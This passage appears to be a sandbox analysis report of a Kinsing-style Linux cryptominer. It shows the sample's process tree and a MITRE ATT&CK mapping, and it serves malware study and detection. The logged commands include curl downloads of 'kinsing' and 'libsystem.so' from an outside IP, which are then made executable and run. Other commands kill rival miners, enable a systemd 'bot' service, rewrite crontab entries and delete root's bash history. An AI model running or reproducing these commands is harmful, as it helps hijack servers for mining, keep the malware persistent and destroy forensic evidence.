  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1674
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1673
- /bin/grep
  grep 127.0.0.1:52018
  2⤵
  PID:1672
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1682
- /bin/grep
  grep -v -
  2⤵
  PID:1681
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1680
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1679
- /bin/grep
  grep 34.81.218.76:9486
  2⤵
  PID:1678
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1688
- /bin/grep
  grep -v -
  2⤵
  PID:1687
- /usr/bin/awk
  awk "-F[/]" "{print \$1}"
  2⤵
  PID:1686
- /usr/bin/awk
  awk "{print \$7}"
  2⤵
  PID:1685
- /bin/grep
  grep 42.112.28.216:9486
  2⤵
  PID:1684
- /usr/bin/pkill
  pkill -f .git/kthreaddw
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1689
- /usr/bin/pkill
  pkill -f 80.211.206.105
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1690
- /usr/bin/pkill
  pkill -f 207.38.87.6
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1691
- /usr/bin/pkill
  pkill -f p8444
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1692
- /usr/bin/pkill
  pkill -f supportxmr
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1693
- /usr/bin/pkill
  pkill -f monero
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1694
- /usr/bin/pkill
  pkill -f kthreaddi
  2⤵
  - Reads CPU attributes
  PID:1695
- /usr/bin/pkill
  pkill -f srv00
  2⤵
  - Reads CPU attributes
  PID:1696
- /usr/bin/pkill
  pkill -f /tmp/.javae/javae
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1697
- /usr/bin/pkill
  pkill -f .javae
  2⤵
  - Reads CPU attributes
  PID:1698
- /usr/bin/pkill
  pkill -f .syna
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1699
- /usr/bin/pkill
  pkill -f .main
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1700
- /usr/bin/pkill
  pkill -f xmm
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1701
- /usr/bin/pkill
  pkill -f solr.sh
  2⤵
  - Reads CPU attributes
  PID:1702
- /usr/bin/pkill
  pkill -f /tmp/.solr/solrd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1703
- /usr/bin/pkill
  pkill -f /tmp/javac
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1704
- /usr/bin/pkill
  pkill -f /tmp/.go.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1705
- /usr/bin/pkill
  pkill -f /tmp/.x/agetty
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1706
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  PID:1707
- /usr/bin/pkill
  pkill -f c3pool
  2⤵
  - Reads CPU attributes
  PID:1708
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/gitag-ssh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1709
- /usr/bin/pkill
  pkill -f /tmp/1
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1710
- /usr/bin/pkill
  pkill -f /tmp/okk.sh
  2⤵
  - Reads CPU attributes
  PID:1711
- /usr/bin/pkill
  pkill -f /tmp/gitaly
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1712
- /usr/bin/pkill
  pkill -f /tmp/.x/kworker
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1713
- /usr/bin/pkill
  pkill -f 43a6eY5zPm3UFCaygfsukfP94ZTHz6a1kZh5sm1aZFB
  2⤵
  - Reads CPU attributes
  PID:1714
- /usr/bin/pkill
  pkill -f /tmp/.X11-unix/supervise
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1715
- /usr/bin/pkill
  pkill -f /tmp/.ssh/redis.sh
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1716
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1721
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1720
- /bin/grep
  grep -v grep
  2⤵
  PID:1719
- /bin/grep
  grep ./udp
  2⤵
  PID:1718
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1717
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1723
- /bin/cat
  cat /tmp/.X11-unix/01
  2⤵
  PID:1722
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1725
- /bin/cat
  cat /tmp/.X11-unix/11
  2⤵
  PID:1724
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1727
- /bin/cat
  cat /tmp/.X11-unix/22
  2⤵
  PID:1726
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1729
- /bin/cat
  cat /tmp/.pg_stat.0
  2⤵
  PID:1728
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1731
- /bin/cat
  cat /tmp/.pg_stat.1
  2⤵
  PID:1730
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1733
- /bin/cat
  cat /data/./oka.pid
  2⤵
  PID:1732
- /usr/bin/pkill
  pkill -f zsvc
  2⤵
  - Reads CPU attributes
  PID:1734
- /usr/bin/pkill
  pkill -f pdefenderd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1735
- /usr/bin/pkill
  pkill -f updatecheckerd
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1736
- /usr/bin/pkill
  pkill -f cruner
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1737
- /usr/bin/pkill
  pkill -f dbused
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1738
- /usr/bin/pkill
  pkill -f bashirc
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1739
- /usr/bin/pkill
  pkill -f meminitsrv
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1740
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1745
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1744
- /bin/grep
  grep -v grep
  2⤵
  PID:1743
- /bin/grep
  grep ./oka
  2⤵
  PID:1742
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1741
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1750
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1749
- /bin/grep
  grep -v grep
  2⤵
  PID:1748
- /bin/grep
  grep "postgres: autovacum"
  2⤵
  PID:1747
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1746
- /bin/grep
  grep -v kinsing
  2⤵
  PID:1760
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1757
- /bin/grep
  grep -v postgres
  2⤵
  PID:1758
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1759
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1761
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1762
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1756
- /bin/grep
  grep -v "("
  2⤵
  PID:1755
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1754
- /bin/grep
  grep -v bin
  2⤵
  PID:1753
- /usr/bin/awk
  awk "length(\$1) == 8"
  2⤵
  PID:1752
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1751
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1772
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1769
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1773
- - /usr/local/sbin/kill
    kill -9 1232
    3⤵
    PID:1774
- - /usr/local/bin/kill
    kill -9 1232
    3⤵
    PID:1774
- - /usr/sbin/kill
    kill -9 1232
    3⤵
    PID:1774
- - /usr/bin/kill
    kill -9 1232
    3⤵
    PID:1774
- - /sbin/kill
    kill -9 1232
    3⤵
    PID:1774
- - /bin/kill
    kill -9 1232
    3⤵
    - Reads CPU attributes
    PID:1774
- /bin/grep
  grep -v postgres
  2⤵
  PID:1770
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1771
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1768
- /bin/grep
  grep -v "("
  2⤵
  PID:1767
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1766
- /bin/grep
  grep -v bin
  2⤵
  PID:1765
- /usr/bin/awk
  awk "length(\$1) == 16"
  2⤵
  PID:1764
- /bin/ps
  ps ax -o "command,pid" -www
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1763
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1785
- /bin/grep
  grep -v postgrey
  2⤵
  PID:1783
- /bin/grep
  grep -v postgres
  2⤵
  PID:1782
- /usr/bin/awk
  awk "{print \$1}"
  2⤵
  PID:1784
- /bin/grep
  grep -v php-fpm
  2⤵
  PID:1780
- /bin/grep
  grep -v bin
  2⤵
  PID:1777
- /usr/bin/awk
  awk "length(\$5) == 8"
  2⤵
  PID:1776
- /bin/grep
  grep -v proxymap
  2⤵
  PID:1781
- /bin/grep
  grep -v "("
  2⤵
  PID:1779
- /bin/grep
  grep -v "\\["
  2⤵
  PID:1778
- /bin/ps
  ps ax
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:1775
- /usr/bin/xargs
  xargs -I "%" kill -9 "%"
  2⤵
  - Attempts to change immutable files
  PID:1790
- /usr/bin/awk
  awk "{print \$2}"
  2⤵
  PID:1789
- /bin/grep
  grep /tmp/sscks
  2⤵
  PID:1788
- /bin/ps
  ps aux
  2⤵
  - Reads CPU attributes
  - Process Discovery
  - Reads runtime system information
  PID:1786
- /bin/grep
  grep -v grep
  2⤵
  PID:1787
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1793
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1794
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1795
- /usr/bin/curl
  curl -o /etc/kinsing http://80.71.158.12/kinsing
  2⤵
  PID:1796
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1797
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1801
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1800
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1802
- /usr/bin/curl
  curl -o /etc/kinsing http://80.71.158.12/kinsing
  2⤵
  PID:1803
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1804
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1808
- /usr/bin/md5sum
  md5sum /etc/kinsing
  2⤵
  PID:1807
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1812
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1811
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1813
- /usr/bin/curl
  curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so
  2⤵
  PID:1814
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1820
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1824
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1823
- /bin/chmod
  chmod 777 /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1827
- /usr/bin/curl
  curl -o /etc/libsystem.so http://80.71.158.12/libsystem.so
  2⤵
  PID:1828
- /bin/chmod
  chmod +x /etc/libsystem.so
  2⤵
  - File and Directory Permissions Modification
  PID:1830
- /usr/bin/awk
  awk "{ print \$1 }"
  2⤵
  PID:1834
- /usr/bin/md5sum
  md5sum /etc/libsystem.so
  2⤵
  PID:1833
- /bin/rm
  rm -rf /tmp/kdevtmpfsi
  2⤵
  PID:1835
- /bin/chmod
  chmod 777 /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1836
- /bin/chmod
  chmod +x /etc/kinsing
  2⤵
  - File and Directory Permissions Modification
  PID:1837
- /etc/kinsing
  /etc/kinsing
  2⤵
  PID:1838
- /usr/bin/id
  id -u
  2⤵
  PID:1839
- /bin/systemctl
  systemctl enable bot
  2⤵
  PID:1840
- /bin/systemctl
  systemctl start bot
  2⤵
  PID:1841
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1850
- /bin/sed
  sed /base64/d
  2⤵
  PID:1849
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1848
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1853
- /bin/sed
  sed /_cron/d
  2⤵
  PID:1852
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1851
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1856
- /bin/sed
  sed /31.210.20.181/d
  2⤵
  PID:1855
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1854
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1859
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:1858
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1857
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1862
- /bin/sed
  sed /logo4/d
  2⤵
  PID:1861
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1860
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1865
- /bin/sed
  sed /logo9/d
  2⤵
  PID:1864
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1863
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1868
- /bin/sed
  sed /logo0/d
  2⤵
  PID:1867
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1866
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1871
- /bin/sed
  sed /logo/d
  2⤵
  PID:1870
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1869
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1874
- /bin/sed
  sed /tor2web/d
  2⤵
  PID:1873
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1872
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1877
- /bin/sed
  sed /jpg/d
  2⤵
  PID:1876
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1875
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1880
- /bin/sed
  sed /png/d
  2⤵
  PID:1879
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1878
- /bin/sed
  sed /tmp/d
  2⤵
  PID:1882
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1881
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1883
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1886
- /bin/sed
  sed /zmreplchkr/d
  2⤵
  PID:1885
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1884
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1889
- /bin/sed
  sed /aliyun.one/d
  2⤵
  PID:1888
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1887
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1892
- /bin/sed
  sed /3.215.110.66.one/d
  2⤵
  PID:1891
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1890
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1895
- /bin/sed
  sed /pastebin/d
  2⤵
  PID:1894
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1893
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1898
- /bin/sed
  sed /onion/d
  2⤵
  PID:1897
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1896
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1901
- /bin/sed
  sed /lsd.systemten.org/d
  2⤵
  PID:1900
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1899
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1904
- /bin/sed
  sed /shuf/d
  2⤵
  PID:1903
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1902
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1907
- /bin/sed
  sed /ash/d
  2⤵
  PID:1906
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1905
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1910
- /bin/sed
  sed /mr.sh/d
  2⤵
  PID:1909
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1908
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1913
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:1912
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1911
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1916
- /bin/sed
  sed /localhost.xyz/d
  2⤵
  PID:1915
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1914
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1919
- /bin/sed
  sed /45.137.151.106/d
  2⤵
  PID:1918
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1917
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1922
- /bin/sed
  sed /111.90.159.106/d
  2⤵
  PID:1921
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1920
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1925
- /bin/sed
  sed /github/d
  2⤵
  PID:1924
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1923
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1928
- /bin/sed
  sed /bigd1ck.com/d
  2⤵
  PID:1927
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1926
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1931
- /bin/sed
  sed /xmr.ipzse.com/d
  2⤵
  - System Network Configuration Discovery
  PID:1930
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1929
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1934
- /bin/sed
  sed /185.181.10.234/d
  2⤵
  PID:1933
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1932
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1937
- /bin/sed
  sed /146.71.79.230/d
  2⤵
  PID:1936
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1935
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1940
- /bin/sed
  sed /122.51.164.83/d
  2⤵
  PID:1939
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1938
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1943
- /bin/sed
  sed /newdat.sh/d
  2⤵
  PID:1942
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1941
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1946
- /bin/sed
  sed /lib.pygensim.com/d
  2⤵
  PID:1945
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1944
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1949
- /bin/sed
  sed /t.amynx.com/d
  2⤵
  PID:1948
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1947
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1952
- /bin/sed
  sed /update.sh/d
  2⤵
  PID:1951
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1950
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1955
- /bin/sed
  sed /systemd-service.sh/d
  2⤵
  PID:1954
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1953
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1958
- /bin/sed
  sed /pg_stat.sh/d
  2⤵
  PID:1957
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1956
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1961
- /bin/sed
  sed /sleep/d
  2⤵
  PID:1960
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1959
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1964
- /bin/sed
  sed /oka/d
  2⤵
  PID:1963
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1962
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1967
- /bin/sed
  sed /linux1213/d
  2⤵
  PID:1966
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1965
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1970
- /bin/sed
  sed "/#wget/d"
  2⤵
  PID:1969
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1968
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1973
- /bin/sed
  sed "/#curl/d"
  2⤵
  PID:1972
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1971
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1976
- /bin/sed
  sed /zsvc/d
  2⤵
  PID:1975
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1974
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1979
- /bin/sed
  sed /givemexyz/d
  2⤵
  PID:1978
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1977
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1982
- /bin/sed
  sed /world/d
  2⤵
  PID:1981
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1980
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1985
- /bin/sed
  sed /1.sh/d
  2⤵
  PID:1984
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1983
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1988
- /bin/sed
  sed /3.sh/d
  2⤵
  PID:1987
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1986
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1991
- /bin/sed
  sed /workers/d
  2⤵
  PID:1990
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1989
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1994
- /bin/sed
  sed /oracleservice/d
  2⤵
  PID:1993
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1992
- /bin/grep
  grep -v grep
  2⤵
  PID:1997
- /bin/grep
  grep -e 185.191.32.198
  2⤵
  PID:1996
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:1995
- /usr/bin/crontab
  crontab -
  2⤵
  - Creates/modifies Cron job
  PID:1999
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:2000
- /bin/rm
  rm -rf /root/.bash_history
  2⤵
  PID:2001

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

Shared Modules

T1129

Persistence

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Privilege Escalation

Boot or Logon Autostart Execution

T1547

XDG Autostart Entries

T1547.013

Create or Modify System Process

T1543

Systemd Service

T1543.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking

Scheduled Task/Job

T1053

Cron

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Hijack Execution Flow

T1574

Dynamic Linker Hijacking